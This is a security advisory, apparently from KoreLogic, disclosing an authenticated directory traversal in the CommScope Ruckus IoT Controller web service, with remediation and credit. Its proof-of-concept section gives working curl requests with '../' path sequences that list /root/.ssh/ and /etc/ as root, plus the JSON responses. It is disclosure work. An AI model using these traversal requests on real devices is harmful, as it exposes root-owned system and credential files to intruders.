CommScope Ruckus IoT Controller Web Application Directory Traversal

Vulnerability Description

A Python script (web.py) for a Dockerized webservice contains a directory traversal vulnerability, which can be leveraged by an authenticated attacker to view the contents of directories on the IoT Controller.

Technical Description

The CommScope Ruckus IoT Controller features a directory traversal vulnerability that allows an authenticated attacker to explore the IoT Controller’s file system. The vulnerable Python script is /VRIOT/ops/docker/webservice/web.py.

With the web application running as root, this allows for all directories to be explored.

An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219).

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.

Proof of Concept

$ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/'

{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/',
 u'message': u'List',
 u'response': [{u'is_dir': False,
                u'is_file': True,
                u'is_symlink': False,
                u'name': u'known_hosts',
                u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts',
                u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts',
                u'st_atime': 1582707570.3173862,
                u'st_ctime': 1582707550.1438398,
                u'st_dev': 2049,
                u'st_gid': 0,
                u'st_ino': 132199,
                u'st_mode': 33188,
                u'st_mtime': 1582707550.1438398,
                u'st_nlink': 1,
                u'st_size': 963,
                u'st_uid': 0}],
 u'static_path': u'/VRIOT/node-red/static'}

The above output is a pretty-printed version of the JSON response returned.

$ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/'

{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/',
 u'message': u'List',
 u'response': [{u'is_dir': True,
                u'is_file': False,
                u'is_symlink': False,
                u'name': u'python3',
                u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3',
                u'showpath': u'/../../../../../../../../etc/python3',
                u'st_atime': 1610463245.7594006,
                u'st_ctime': 1493664067.5699568,
                u'st_dev': 2049,
                u'st_gid': 0,
                u'st_ino': 262743,
                u'st_mode': 16877,
                u'st_mtime': 1493664067.5699568,
                u'st_nlink': 2,
                u'st_size': 4096,
                u'st_uid': 0},
               {u'is_dir': True,
                u'is_file': False,
                u'is_symlink': False,
                u'name': u'ldap',
                u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap',
                u'showpath': u'/../../../../../../../../etc/ldap',
                u'st_atime': 1610463245.7594006,
                u'st_ctime': 1527803641.495955,
                u'st_dev': 2049,
                u'st_gid': 0,
                u'st_ino': 304157,
                u'st_mode': 16877,
                u'st_mtime': 1527803641.495955,
                u'st_nlink': 2,
                u'st_size': 4096,
                u'st_uid': 0},
               {u'is_dir': False,
                u'is_file': True,
                u'is_symlink': False,
                u'name': u'rsyslog.conf',
                u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf',
                u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf',
                u'st_atime': 1609718505.600734,
                u'st_ctime': 1493664067.573957,
                u'st_dev': 2049,
                u'st_gid': 0,
                u'st_ino': 262833,
                u'st_mode': 33188,
                u'st_mtime': 1453934568.0,
                u'st_nlink': 1,
                u'st_size': 1371,
                u'st_uid': 0},
               {u'is_dir': True,
                u'is_file': False,
                u'is_symlink': False,
                u'name': u'pacemaker',
                u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker',
                u'showpath': u'/../../../../../../../../etc/pacemaker',
                u'st_atime': 1610463245.7674005,
                u'st_ctime': 1550175549.2084513,
                u'st_dev': 2049,
                u'st_gid': 0,
                u'st_ino': 267639,
                u'st_mode': 16877,
                u'st_mtime': 1550175549.2084513,
                u'st_nlink': 2,
                u'st_size': 4096,
                u'st_uid': 0},
...
...

The above output is a pretty-printed version of the JSON response returned.

The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt